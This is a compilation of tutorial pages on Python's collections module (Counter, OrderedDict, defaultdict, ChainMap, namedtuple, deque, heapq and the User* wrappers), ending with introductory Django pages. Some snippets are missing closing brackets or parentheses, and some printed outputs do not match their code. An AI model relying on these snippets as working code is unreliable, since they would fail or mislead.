    Counter({'B': 5, 'A': 3, 'C': 2})
    Counter({'B': 5, 'A': 3, 'C': 2})

    Updation : 
    We can also create an empty counter in the following manner : 
     

    coun = collections.Counter()

    And can be updated via update() method .Syntax for the same : 
     

    coun.update(Data)

     

    Python3




    # A Python program to demonstrate update()
    from collections import Counter
    coun = Counter()
     
    coun.update([1, 2, 3, 1, 2, 1, 1, 2])
    print(coun)
     
    coun.update([1, 2, 4])
    print(coun)

    Output : 
     

    Counter({1: 4, 2: 3, 3: 1})
    Counter({1: 5, 2: 4, 3: 1, 4: 1})

     

    Python3




    # Python program to demonstrate that counts in
    # Counter can be 0 and negative
    from collections import Counter
     
    c1 = Counter(A=4,  B=3, C=10)
    c2 = Counter(A=10, B=3, C=4)
     
    c1.subtract(c2)
    print(c1)
     Counter({'c': 6, 'B': 0, 'A': -6})

    Python3




    # An example program where different list items are
    # counted using counter
    from collections import Counter
     
    # Create a list
    z = ['blue', 'red', 'blue', 'yellow', 'blue', 'red']
     
    # Count distinct elements and print Counter aobject
    print(Counter(z))
    Counter({'blue': 3, 'red': 2, 'yellow': 1})

     

    This article is contributed by Mayank Rawat .If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
     


    My Personal Notes arrow_drop_up

    OrderedDict in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 22 Jan, 2022

    An OrderedDict is a dictionary subclass that remembers the order that keys were first inserted. The only difference between dict() and OrderedDict() is that:

    OrderedDict preserves the order in which the keys are inserted. A regular dict doesn’t track the insertion order and iterating it gives the values in an arbitrary order. By contrast, the order the items are inserted is remembered by OrderedDict.

    Python3




    # A Python program to demonstrate working of OrderedDict
    from collections import OrderedDict
     
    print("This is a Dict:\n")
    d = {}
    d['a'] = 1
    d['b'] = 2
    d['c'] = 3
    d['d'] = 4
     
    for key, value in d.items():
        print(key, value)
     
    print("\nThis is an Ordered Dict:\n")
    od = OrderedDict()
    od['a'] = 1
    od['b'] = 2
    od['c'] = 3
    od['d'] = 4
     
    for key, value in od.items():
        print(key, value)

    Output: 

    This is a Dict:
    a 1
    c 3
    b 2
    d 4
    
    This is an Ordered Dict:
    a 1
    b 2
    c 3
    d 4

    Important Points: 

    1. Key value Change: If the value of a certain key is changed, the position of the key remains unchanged in OrderedDict.

    Python3




    # A Python program to demonstrate working of key
    # value change in OrderedDict
    from collections import OrderedDict
     
    print("Before:\n")
    od = OrderedDict()
    od['a'] = 1
    od['b'] = 2
    od['c'] = 3
    od['d'] = 4
    for key, value in od.items():
        print(key, value)
     
    print("\nAfter:\n")
    od['c'] = 5
    for key, value in od.items():
        print(key, value)

    Output: 

    Before:
    
    a 1
    b 2
    c 3
    d 4
    
    After:
    
    a 1
    b 2
    c 5
    d 4

    2. Deletion and Re-Inserting: Deleting and re-inserting the same key will push it to the back as OrderedDict, however, maintains the order of insertion.

    Python3




    # A Python program to demonstrate working of deletion
    # re-insertion in OrderedDict
    from collections import OrderedDict
     
    print("Before deleting:\n")
    od = OrderedDict()
    od['a'] = 1
    od['b'] = 2
    od['c'] = 3
    od['d'] = 4
     
    for key, value in od.items():
        print(key, value)
     
    print("\nAfter deleting:\n")
    od.pop('c')
    for key, value in od.items():
        print(key, value)
     
    print("\nAfter re-inserting:\n")
    od['c'] = 3
    for key, value in od.items():
        print(key, value)

    Output: 

    Before deleting:
    
    a 1
    b 2
    c 3
    d 4
    
    After deleting:
    
    a 1
    b 2
    d 4
    
    After re-inserting:
    
    a 1
    b 2
    d 4
    c 3

    Other Considerations:  

    This article is contributed by Sri Sanketh Uppalapati. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


    My Personal Notes arrow_drop_up

    Defaultdict in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 12 May, 2022

    Dictionary in Python is an unordered collection of data values that are used to store data values like a map. Unlike other Data Types that hold only single value as an element, the Dictionary holds key-value pair. In Dictionary, the key must be unique and immutable. This means that a Python Tuple can be a key whereas a Python List can not. A Dictionary can be created by placing a sequence of elements within curly {} braces, separated by ‘comma’.

    Python-Foundation-Course

    Example:

    Python3




    # Python program to demonstrate
    # dictionary
      
      
    Dict = {1: 'Geeks', 2: 'For', 3: 'Geeks'
    print("Dictionary:"
    print(Dict)
    print(Dict[1])
      
    # Uncommenting this print(Dict[4])
    # will raise a KeyError as the
    # 4 is not present in the dictionary

    Output:

    Dictionary:
    {1: 'Geeks', 2: 'For', 3: 'Geeks'}
    Geeks
    Traceback (most recent call last):
      File "/home/1ca83108cc81344dc7137900693ced08.py", line 11, in 
        print(Dict[4])
    KeyError: 4

    Sometimes, when the KeyError is raised, it might become a problem. To overcome this Python introduces another dictionary like container known as Defaultdict which is present inside the collections module.
    Note: For more information, refer to Python Dictionary.
     

    DefaultDict

    Defaultdict is a container like dictionaries present in the module collections. Defaultdict is a sub-class of the dictionary class that returns a dictionary-like object. The functionality of both dictionaries and defaultdict are almost same except for the fact that defaultdict never raises a KeyError. It provides a default value for the key that does not exists.

    Syntax: defaultdict(default_factory)
    Parameters:  

    • default_factory: A function returning the default value for the dictionary defined. If this argument is absent then the dictionary raises a KeyError.

    Example:

    Python3




    # Python program to demonstrate
    # defaultdict
      
      
    from collections import defaultdict
      
      
    # Function to return a default
    # values for keys that is not
    # present
    def def_value():
        return "Not Present"
          
    # Defining the dict
    d = defaultdict(def_value)
    d["a"] = 1
    d["b"] = 2
      
    print(d["a"])
    print(d["b"])
    print(d["c"])

    Output:

    1
    2
    Not Present 

    Inner Working of defaultdict

    Defaultdict adds one writable instance variable and one method in addition to the standard dictionary operations. The instance variable is the default_factory parameter and the method provided is __missing__.

    Python3




    # Python program to demonstrate
    # default_factory argument of 
    # defaultdict
      
      
    from collections import defaultdict
      
          
    # Defining the dict and passing 
    # lambda as default_factory argument
    d = defaultdict(lambda: "Not Present")
    d["a"] = 1
    d["b"] = 2
      
    print(d["a"])
    print(d["b"])
    print(d["c"])

    Output:

    1
    2
    Not Present

    Python3




    # Python program to demonstrate
    # defaultdict
      
      
    from collections import defaultdict
      
          
    # Defining the dict
    d = defaultdict(lambda: "Not Present")
    d["a"] = 1
    d["b"] = 2
      
    # Provides the default value 
    # for the key
    print(d.__missing__('a'))
    print(d.__missing__('d'))

    Output:

    Not Present
    Not Present 

    Using List as default_factory

    When the list class is passed as the default_factory argument, then a defaultdict is created with the values that are list.
    Example:

    Python3




    # Python program to demonstrate
    # defaultdict
      
      
    from collections import defaultdict
      
      
    # Defining a dict
    d = defaultdict(list)
      
    for i in range(5):
        d[i].append(i)
          
    print("Dictionary with values as list:")
    print(d)

    Output:

    Dictionary with values as list:
    defaultdict(<class 'list'>, {0: [0], 1: [1], 2: [2], 3: [3], 4: [4]})

    Using int as default_factory

    When the int class is passed as the default_factory argument, then a defaultdict is created with default value as zero.
    Example:

    Python3




    # Python program to demonstrate
    # defaultdict
       
       
    from collections import defaultdict
       
       
    # Defining the dict
    d = defaultdict(int)
       
    L = [1, 2, 3, 4, 2, 4, 1, 2]
       
    # Iterate through the list
    # for keeping the count
    for i in L:
           
        # The default value is 0
        # so there is no need to 
        # enter the key first
        d[i] += 1
           
    print(d)

    Output:

    defaultdict(<class 'int'>, {1: 2, 2: 3, 3: 1, 4: 2})

    My Personal Notes arrow_drop_up

    ChainMap in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 28 Jun, 2021

    Python contains a container called “ChainMap” which encapsulates many dictionaries into one unit. ChainMap is member of module “collections“.

    Example:




    # Python program to demonstrate  
    # ChainMap  
           
           
    from collections import ChainMap  
           
           
    d1 = {'a': 1, 'b': 2
    d2 = {'c': 3, 'd': 4
    d3 = {'e': 5, 'f': 6
        
    # Defining the chainmap  
    c = ChainMap(d1, d2, d3)  
           
    print(c)

    Output:

    ChainMap({'a': 1, 'b': 2}, {'c': 3, 'd': 4}, {'e': 5, 'f': 6})
    

    Let’s see various Operations on ChainMap

    Access Operations




    # Please select Python 3 for running this code in IDE
    # Python code to demonstrate ChainMap and
    # keys(), values() and maps
      
    # importing collections for ChainMap operations
    import collections
      
    # initializing dictionaries
    dic1 = { 'a' : 1, 'b' : 2 }
    dic2 = { 'b' : 3, 'c' : 4 }
      
    # initializing ChainMap
    chain = collections.ChainMap(dic1, dic2)
      
    # printing chainMap using maps
    print ("All the ChainMap contents are : ")
    print (chain.maps)
      
    # printing keys using keys()
    print ("All keys of ChainMap are : ")
    print (list(chain.keys()))
      
    # printing keys using keys()
    print ("All values of ChainMap are : ")
    print (list(chain.values()))

    Output :

    All the ChainMap contents are : 
    [{'b': 2, 'a': 1}, {'c': 4, 'b': 3}]
    All keys of ChainMap are : 
    ['a', 'c', 'b']
    All values of ChainMap are : 
    [1, 4, 2]
    

     

    Note : Notice the key named “b” exists in both dictionaries, but only first dictionary key is taken as key value of “b”. Ordering is done as the dictionaries are passed in function.

    Manipulating Operations




    # Please select Python 3 for running this code in IDE
    # Python code to demonstrate ChainMap and
    # reversed() and new_child()
      
    # importing collections for ChainMap operations
    import collections
      
    # initializing dictionaries
    dic1 = { 'a' : 1, 'b' : 2 }
    dic2 = { 'b' : 3, 'c' : 4 }
    dic3 = { 'f' : 5 }
      
    # initializing ChainMap
    chain = collections.ChainMap(dic1, dic2)
      
    # printing chainMap using map
    print ("All the ChainMap contents are : ")
    print (chain.maps)
      
    # using new_child() to add new dictionary
    chain1 = chain.new_child(dic3)
      
    # printing chainMap using map
    print ("Displaying new ChainMap : ")
    print (chain1.maps)
      
    # displaying value associated with b before reversing
    print ("Value associated with b before reversing is : ",end="")
    print (chain1['b'])
      
    # reversing the ChainMap
    chain1.maps = reversed(chain1.maps)
      
    # displaying value associated with b after reversing
    print ("Value associated with b after reversing is : ",end="")
    print (chain1['b'])

    Output :

    All the ChainMap contents are : 
    [{'b': 2, 'a': 1}, {'b': 3, 'c': 4}]
    Displaying new ChainMap : 
    [{'f': 5}, {'b': 2, 'a': 1}, {'b': 3, 'c': 4}]
    Value associated with b before reversing is : 2
    Value associated with b after reversing is : 3
    

     

    This article is contributed by Manjeet Singh. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


    My Personal Notes arrow_drop_up

    Namedtuple in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 25 Jan, 2022

    Python supports a type of container like dictionaries called “namedtuple()” present in the module, “collections“. Like dictionaries, they contain keys that are hashed to a particular value. But on contrary, it supports both access from key-value and iteration, the functionality that dictionaries lack.

    Example: 

    Python3




    # Python code to demonstrate namedtuple()
     
    from collections import namedtuple
     
    # Declaring namedtuple()
    Student = namedtuple('Student', ['name', 'age', 'DOB'])
     
    # Adding values
    S = Student('Nandini', '19', '2541997')
     
    # Access using index
    print("The Student age using index is : ", end="")
    print(S[1])
     
    # Access using name
    print("The Student name using keyname is : ", end="")
    print(S.name)

    Output:

    The Student age using index is : 19
    The Student name using keyname is : Nandini

    Let’s see various Operations on namedtuple() 

    Access Operations

    Python3




    # Python code to demonstrate namedtuple() and
    # Access by name, index and getattr()
     
    # importing "collections" for namedtuple()
    import collections
     
    # Declaring namedtuple()
    Student = collections.namedtuple('Student', ['name', 'age', 'DOB'])
     
    # Adding values
    S = Student('Nandini', '19', '2541997')
     
    # Access using index
    print("The Student age using index is : ", end="")
    print(S[1])
     
    # Access using name
    print("The Student name using keyname is : ", end="")
    print(S.name)
     
    # Access using getattr()
    print("The Student DOB using getattr() is : ", end="")
    print(getattr(S, 'DOB'))

    Output : 

    The Student age using index is : 19
    The Student name using keyname is : Nandini
    The Student DOB using getattr() is : 2541997

    Conversion Operations

    Python3




    # Python code to demonstrate namedtuple() and
    # _make(), _asdict() and "**" operator
     
    # importing "collections" for namedtuple()
    import collections
     
    # Declaring namedtuple()
    Student = collections.namedtuple('Student',
                                     ['name', 'age', 'DOB'])
     
    # Adding values
    S = Student('Nandini', '19', '2541997')
     
    # initializing iterable
    li = ['Manjeet', '19', '411997']
     
    # initializing dict
    di = {'name': "Nikhil", 'age': 19, 'DOB': '1391997'}
     
    # using _make() to return namedtuple()
    print("The namedtuple instance using iterable is  : ")
    print(Student._make(li))
     
    # using _asdict() to return an OrderedDict()
    print("The OrderedDict instance using namedtuple is  : ")
    print(S._asdict())
     
    # using ** operator to return namedtuple from dictionary
    print("The namedtuple instance from dict is  : ")
    print(Student(**di))

    Output : 

    The namedtuple instance using iterable is  : 
    Student(name='Manjeet', age='19', DOB='411997')
    The OrderedDict instance using namedtuple is  : 
    OrderedDict([('name', 'Nandini'), ('age', '19'), ('DOB', '2541997')])
    The namedtuple instance from dict is  : 
    Student(name='Nikhil', age=19, DOB='1391997')

    Additional Operation 

    Python3




    # Python code to demonstrate namedtuple() and
    # _fields and _replace()
     
    # importing "collections" for namedtuple()
    import collections
     
    # Declaring namedtuple()
    Student = collections.namedtuple('Student', ['name', 'age', 'DOB'])
     
    # Adding values
    S = Student('Nandini', '19', '2541997')
     
    # using _fields to display all the keynames of namedtuple()
    print("All the fields of students are : ")
    print(S._fields)
     
    # ._replace returns a new namedtuple, it does not modify the original
    print("returns a new namedtuple : ")
    print(S._replace(name='Manjeet'))
    # original namedtuple
    print(S)

    Output : 

    All the fields of students are : 
    ('name', 'age', 'DOB')
    The modified namedtuple is : 
    Student(name='Manjeet', age='19', DOB='2541997') 

    This article is contributed by Manjeet Singh. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. 


    My Personal Notes arrow_drop_up

    Deque in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 09 May, 2022

    Deque (Doubly Ended Queue) in Python is implemented using the module “collections“. Deque is preferred over a list in the cases where we need quicker append and pop operations from both the ends of the container, as deque provides an O(1) time complexity for append and pop operations as compared to list which provides O(n) time complexity.

    Example:

    Python3




    # Python code to demonstrate deque 
          
        
    from collections import deque 
          
    # Declaring deque 
    queue = deque(['name','age','DOB'])  
          
    print(queue)

    Output: 

    deque(['name', 'age', 'DOB'])

    Let’s see various Operations on deque : 

    Python3




    # Python code to demonstrate working of 
    # append(), appendleft(), pop(), and popleft()
      
    # importing "collections" for deque operations
    import collections
      
    # initializing deque
    de = collections.deque([1,2,3])
      
    # using append() to insert element at right end 
    # inserts 4 at the end of deque
    de.append(4)
      
    # printing modified deque
    print ("The deque after appending at right is : ")
    print (de)
      
    # using appendleft() to insert element at left end 
    # inserts 6 at the beginning of deque
    de.appendleft(6)
      
    # printing modified deque
    print ("The deque after appending at left is : ")
    print (de)
      
    # using pop() to delete element from right end 
    # deletes 4 from the right end of deque
    de.pop()
      
    # printing modified deque
    print ("The deque after deleting from right is : ")
    print (de)
      
    # using popleft() to delete element from left end 
    # deletes 6 from the left end of deque
    de.popleft()
      
    # printing modified deque
    print ("The deque after deleting from left is : ")
    print (de)

    Output: 

    The deque after appending at right is : 
    deque([1, 2, 3, 4])
    The deque after appending at left is : 
    deque([6, 1, 2, 3, 4])
    The deque after deleting from right is : 
    deque([6, 1, 2, 3])
    The deque after deleting from left is : 
    deque([1, 2, 3])

    Python3




    # Python code to demonstrate working of 
    # insert(), index(), remove(), count()
      
    # importing "collections" for deque operations
    import collections
      
    # initializing deque
    de = collections.deque([1, 2, 3, 3, 4, 2, 4])
      
    # using index() to print the first occurrence of 4
    print ("The number 4 first occurs at a position : ")
    print (de.index(4,2,5))
      
    # using insert() to insert the value 3 at 5th position
    de.insert(4,3)
      
    # printing modified deque
    print ("The deque after inserting 3 at 5th position is : ")
    print (de)
      
    # using count() to count the occurrences of 3
    print ("The count of 3 in deque is : ")
    print (de.count(3))
      
    # using remove() to remove the first occurrence of 3
    de.remove(3)
      
    # printing modified deque
    print ("The deque after deleting first occurrence of 3 is : ")
    print (de)

    Output:  

    The number 4 first occurs at a position : 
    4
    The deque after inserting 3 at 5th position is : 
    deque([1, 2, 3, 3, 3, 4, 2, 4])
    The count of 3 in deque is : 
    3
    The deque after deleting first occurrence of 3 is : 
    deque([1, 2, 3, 3, 4, 2, 4])

    Python3




    # Python code to demonstrate working of 
    # extend(), extendleft(), rotate(), reverse()
      
    # importing "collections" for deque operations
    import collections
      
    # initializing deque
    de = collections.deque([1, 2, 3,])
      
    # using extend() to add numbers to right end 
    # adds 4,5,6 to right end
    de.extend([4,5,6])
      
    # printing modified deque
    print ("The deque after extending deque at end is : ")
    print (de)
      
    # using extendleft() to add numbers to left end 
    # adds 7,8,9 to left end
    de.extendleft([7,8,9])
      
    # printing modified deque
    print ("The deque after extending deque at beginning is : ")
    print (de)
      
    # using rotate() to rotate the deque
    # rotates by 3 to left
    de.rotate(-3)
      
    # printing modified deque
    print ("The deque after rotating deque is : ")
    print (de)
      
    # using reverse() to reverse the deque
    de.reverse()
      
    # printing modified deque
    print ("The deque after reversing deque is : ")
    print (de)

    Output : 

    The deque after extending deque at end is : 
    deque([1, 2, 3, 4, 5, 6])
    The deque after extending deque at beginning is : 
    deque([9, 8, 7, 1, 2, 3, 4, 5, 6])
    The deque after rotating deque is : 
    deque([1, 2, 3, 4, 5, 6, 9, 8, 7])
    The deque after reversing deque is : 
    deque([7, 8, 9, 6, 5, 4, 3, 2, 1]) 
     

    This article is contributed by Manjeet Singh. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


    My Personal Notes arrow_drop_up

    Heap queue (or heapq) in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 09 May, 2022

    Heap data structure is mainly used to represent a priority queue. In Python, it is available using “heapq” module. The property of this data structure in Python is that each time the smallest of heap element is popped(min heap). Whenever elements are pushed or popped, heap structure in maintained. The heap[0] element also returns the smallest element each time.

    Let’s see various Operations on heap :




    # Python code to demonstrate working of 
    # heapify(), heappush() and heappop()
      
    # importing "heapq" to implement heap queue
    import heapq
      
    # initializing list
    li = [5, 7, 9, 1, 3]
      
    # using heapify to convert list into heap
    heapq.heapify(li)
      
    # printing created heap
    print ("The created heap is : ",end="")
    print (list(li))
      
    # using heappush() to push elements into heap
    # pushes 4
    heapq.heappush(li,4)
      
    # printing modified heap
    print ("The modified heap after push is : ",end="")
    print (list(li))
      
    # using heappop() to pop smallest element
    print ("The popped and smallest element is : ",end="")
    print (heapq.heappop(li))

    Output :

    The created heap is : [1, 3, 9, 7, 5]
    The modified heap after push is : [1, 3, 4, 7, 5, 9]
    The popped and smallest element is : 1
    




    # Python code to demonstrate working of 
    # heappushpop() and heapreplce()
      
    # importing "heapq" to implement heap queue
    import heapq
      
    # initializing list 1
    li1 = [5, 7, 9, 4, 3]
      
    # initializing list 2
    li2 = [5, 7, 9, 4, 3]
      
    # using heapify() to convert list into heap
    heapq.heapify(li1)
    heapq.heapify(li2)
      
    # using heappushpop() to push and pop items simultaneously
    # pops 2
    print ("The popped item using heappushpop() is : ",end="")
    print (heapq.heappushpop(li1, 2))
      
    # using heapreplace() to push and pop items simultaneously
    # pops 3
    print ("The popped item using heapreplace() is : ",end="")
    print (heapq.heapreplace(li2, 2))

    Output :

    The popped item using heappushpop() is : 2
    The popped item using heapreplace() is : 3
    




    # Python code to demonstrate working of 
    # nlargest() and nsmallest()
      
    # importing "heapq" to implement heap queue
    import heapq
      
    # initializing list 
    li1 = [6, 7, 9, 4, 3, 5, 8, 10, 1]
      
    # using heapify() to convert list into heap
    heapq.heapify(li1)
      
    # using nlargest to print 3 largest numbers
    # prints 10, 9 and 8
    print("The 3 largest numbers in list are : ",end="")
    print(heapq.nlargest(3, li1))
      
    # using nsmallest to print 3 smallest numbers
    # prints 1, 3 and 4
    print("The 3 smallest numbers in list are : ",end="")
    print(heapq.nsmallest(3, li1))

    Output :

    The 3 largest numbers in list are : [10, 9, 8]
    The 3 smallest numbers in list are : [1, 3, 4]
    


    This article is contributed by Manjeet Singh. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


    My Personal Notes arrow_drop_up

    Collections.UserDict in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 01 Oct, 2021

    An unordered collection of data values that are used to store data values like a map is known as Dictionary in Python. Unlike other Data Types that hold only a single value as an element, Dictionary holds key:value pair. Key-value is provided in the dictionary to make it more optimized.

    Note: For more information, refer to Python Dictionary

    Collections.UserDict

    Python supports a dictionary like a container called UserDict present in the collections module. This class acts as a wrapper class around the dictionary objects. This class is useful when one wants to create a dictionary of their own with some modified functionality or with some new functionality. It can be considered as a way of adding new behaviors to the dictionary. This class takes a dictionary instance as an argument and simulates a dictionary that is kept in a regular dictionary. The dictionary is accessible by the data attribute of this class.

    Syntax: 

    collections.UserDict([initialdata])

    Example 1:

    Python3




    # Python program to demonstrate
    # userdict
     
     
    from collections import UserDict
     
     
    d = {'a':1,
        'b': 2,
        'c': 3}
     
    # Creating an UserDict
    userD = UserDict(d)
    print(userD.data)
     
     
    # Creating an empty UserDict
    userD = UserDict()
    print(userD.data)

    Output:

    {'a': 1, 'b': 2, 'c': 3}
    {}

    Example 2: Let’s create a class inheriting from UserDict to implement a customized dictionary.

    Python3




    # Python program to demonstrate
    # userdict
      
     
    from collections import UserDict
      
     
    # Creating a Dictionary where
    # deletion is not allowed
    class MyDict(UserDict):
         
        # Function to stop deletion
        # from dictionary
        def __del__(self):
            raise RuntimeError("Deletion not allowed")
             
        # Function to stop pop from
        # dictionary
        def pop(self, s = None):
            raise RuntimeError("Deletion not allowed")
             
        # Function to stop popitem
        # from Dictionary
        def popitem(self, s = None):
            raise RuntimeError("Deletion not allowed")
         
    # Driver's code
    d = MyDict({'a':1,
        'b': 2,
        'c': 3})
     
    print("Original Dictionary")
    print(d)
     
    d.pop(1)

    Output:

    Original Dictionary
    {'a': 1, 'c': 3, 'b': 2}
    Traceback (most recent call last):
      File "/home/3ce2f334f5d25a3e24d10d567c705ce6.py", line 35, in 
        d.pop(1)
      File "/home/3ce2f334f5d25a3e24d10d567c705ce6.py", line 20, in pop
        raise RuntimeError("Deletion not allowed")
    RuntimeError: Deletion not allowed
    Exception ignored in: 
    Traceback (most recent call last):
      File "/home/3ce2f334f5d25a3e24d10d567c705ce6.py", line 15, in __del__
    RuntimeError: Deletion not allowed

     


    My Personal Notes arrow_drop_up

    Collections.UserList in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 24 Jun, 2021

    Python Lists are array-like data structure but unlike it can be homogeneous. A single list may contain DataTypes like Integers, Strings, as well as Objects. List in Python are ordered and have a definite count. The elements in a list are indexed according to a definite sequence and the indexing of a list is done with 0 being the first index. 
    Note: For more information, refer to Python List
     

    Collections.UserList

    Python supports a List like a container called UserList present in the collections module. This class acts as a wrapper class around the List objects. This class is useful when one wants to create a list of their own with some modified functionality or with some new functionality. It can be considered as a way of adding new behaviors for the list. This class takes a list instance as an argument and simulates a list that is kept in a regular list. The list is accessible by the data attribute of the this class.
    Syntax:
     

    collections.UserList([list])

    Example 1:
     

    Python3




    # Python program to demonstrate
    # userlist
     
     
    from collections import UserList
     
     
    L = [1, 2, 3, 4]
     
    # Creating a userlist
    userL = UserList(L)
    print(userL.data)
     
     
    # Creating empty userlist
    userL = UserList()
    print(userL.data)

    Output:
     

    [1, 2, 3, 4]
    []

    Example 2:
     

    Python3




    # Python program to demonstrate
    # userlist
      
     
    from collections import UserList
      
     
    # Creating a List where
    # deletion is not allowed
    class MyList(UserList):
         
        # Function to stop deletion
        # from List
        def remove(self, s = None):
            raise RuntimeError("Deletion not allowed")
             
        # Function to stop pop from
        # List
        def pop(self, s = None):
            raise RuntimeError("Deletion not allowed")
         
    # Driver's code
    L = MyList([1, 2, 3, 4])
     
    print("Original List")
     
    # Inserting to List"
    L.append(5)
    print("After Insertion")
    print(L)
     
    # Deleting From List
    L.remove()

    Output:
     

    Original List
    After Insertion
    [1, 2, 3, 4, 5]

     

    Traceback (most recent call last):
      File "/home/9399c9e865a7493dce58e88571472d23.py", line 33, in 
        L.remove()
      File "/home/9399c9e865a7493dce58e88571472d23.py", line 15, in remove
        raise RuntimeError("Deletion not allowed")
    RuntimeError: Deletion not allowed

     


    My Personal Notes arrow_drop_up

    Collections.UserString in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 31 Aug, 2021

    Strings are the arrays of bytes representing Unicode characters. However, Python does not support the character data type. A character is a string of length one. 
    Example:

    Python3




    # Python program to demonstrate
    # string
     
    # Creating a String 
    # with single Quotes
    String1 = 'Welcome to the Geeks World'
    print("String with the use of Single Quotes: ")
    print(String1)
       
    # Creating a String
    # with double Quotes
    String1 = "I'm a Geek"
    print("\nString with the use of Double Quotes: ")
    print(String1)

    Output:

    String with the use of Single Quotes: 
    Welcome to the Geeks World
    
    String with the use of Double Quotes: 
    I'm a Geek

    Note: For more information, refer to Python String
     

    Collections.UserString

    Python supports a String like a container called UserString present in the collections module. This class acts as a wrapper class around the string objects. This class is useful when one wants to create a string of their own with some modified functionality or with some new functionality. It can be considered as a way of adding new behaviors for the string. This class takes any argument that can be converted to string and simulates a string whose content is kept in a regular string. The string is accessible by the data attribute of this class.
    Syntax: 

    collections.UserString(seq)

    Example 1:

    Python3




    # Python program to demonstrate
    # userstring
     
     
    from collections import UserString
     
     
    d = 12344
     
    # Creating an UserDict
    userS = UserString(d)
    print(userS.data)
     
     
    # Creating an empty UserDict
    userS = UserString("")
    print(userS.data)

    Output: 

    12344

    Example 2:

    Python3




    # Python program to demonstrate
    # userstring
      
     
    from collections import UserString
      
     
    # Creating a Mutable String
    class Mystring(UserString):
         
        # Function to append to
        # string
        def append(self, s):
            self.data += s
             
        # Function to remove from
        # string
        def remove(self, s):
            self.data = self.data.replace(s, "")
         
    # Driver's code
    s1 = Mystring("Geeks")
    print("Original String:", s1.data)
     
    # Appending to string
    s1.append("s")
    print("String After Appending:", s1.data)
     
    # Removing from string
    s1.remove("e")
    print("String after Removing:", s1.data)

    Output:

    Original String: Geeks
    String After Appending: Geekss
    String after Removing: Gkss

    My Personal Notes arrow_drop_up

    Django Tutorial

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 30 May, 2022

    Django is a Python-based web framework that allows you to quickly create efficient web applications. It is also called batteries included framework because Django provides built-in features for everything including Django Admin Interface, default database – SQLlite3, etc. When you’re building a website, you always need a similar set of components: a way to handle user authentication (signing up, signing in, signing out), a management panel for your website, forms, a way to upload files, etc. Django gives you ready-made components to use and that too for rapid development.

    django-tutorial

    Why Django Framework ?

    Recent Articles on Django !!

    Django Basics

    Django Forms

    Django Templates

    Misc

    Django Views

     
     
     


    My Personal Notes arrow_drop_up

    Django Basics

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 22 Apr, 2022

    Django is a Python-based web framework which allows you to quickly create web application without all of the installation or dependency problems that you normally will find with other frameworks.
    When you’re building a website, you always need a similar set of components: a way to handle user authentication (signing up, signing in, signing out), a management panel for your website, forms, a way to upload files, etc. Django gives you ready-made components to use.

    django-basics

    Why Django?

    Django architecture

    Django is based on MVT (Model-View-Template) architecture. MVT is a software design pattern for developing a web application.

    MVT Structure has the following three parts –

    Model: Model is going to act as the interface of your data. It is responsible for maintaining data. It is the logical data structure behind the entire application and is represented by a database (generally relational databases such as MySql, Postgres).

    View: The View is the user interface — what you see in your browser when you render a website. It is represented by HTML/CSS/Javascript and Jinja files.

    Template: A template consists of static parts of the desired HTML output as well as some special syntax describing how dynamic content will be inserted.

    To check more about Django’s architecture, visit Django Project MVT Structure

    Installation of Django


    Django Introduction and Installation

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 20 Oct, 2021

    What is Django?

    Django is a Python-based web framework which allows you to quickly create web application without all of the installation or dependency problems that you normally will find with other frameworks.
    When you’re building a website, you always need a similar set of components: a way to handle user authentication (signing up, signing in, signing out), a management panel for your website, forms, a way to upload files, etc. Django gives you ready-made components to use.

    Why Django?

    1. It’s very easy to switch database in Django framework.
    2. It has built-in admin interface which makes easy to work with it.
    3. Django is fully functional framework that requires nothing else.
    4. It has thousands of additional packages available.
    5. It is very scalable.

    Popularity of Django

    Django is used in many popular sites like as: Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic etc. There are more than 5k online sites based on the Django framework. ( Source )
    Sites like Hot Frameworks assess the popularity of a framework by counting the number of GitHub projects and StackOverflow questions for each platform, here Django is in 6th position. Web frameworks often refer to themselves as “opinionated” or “un-opinionated” based on opinions about the right way to handle any particular task. Django is somewhat opinionated, hence delivers the in both worlds( opinionated & un-opinionated ).

    Features of Django

    Versatility of Django
    Django can build almost any type of website. It can also work with any client-side framework and can deliver content in any format such as HTML, JSON, XML etc. Some sites which can be built using Django are wikis, social networks, new sites etc.

    Security
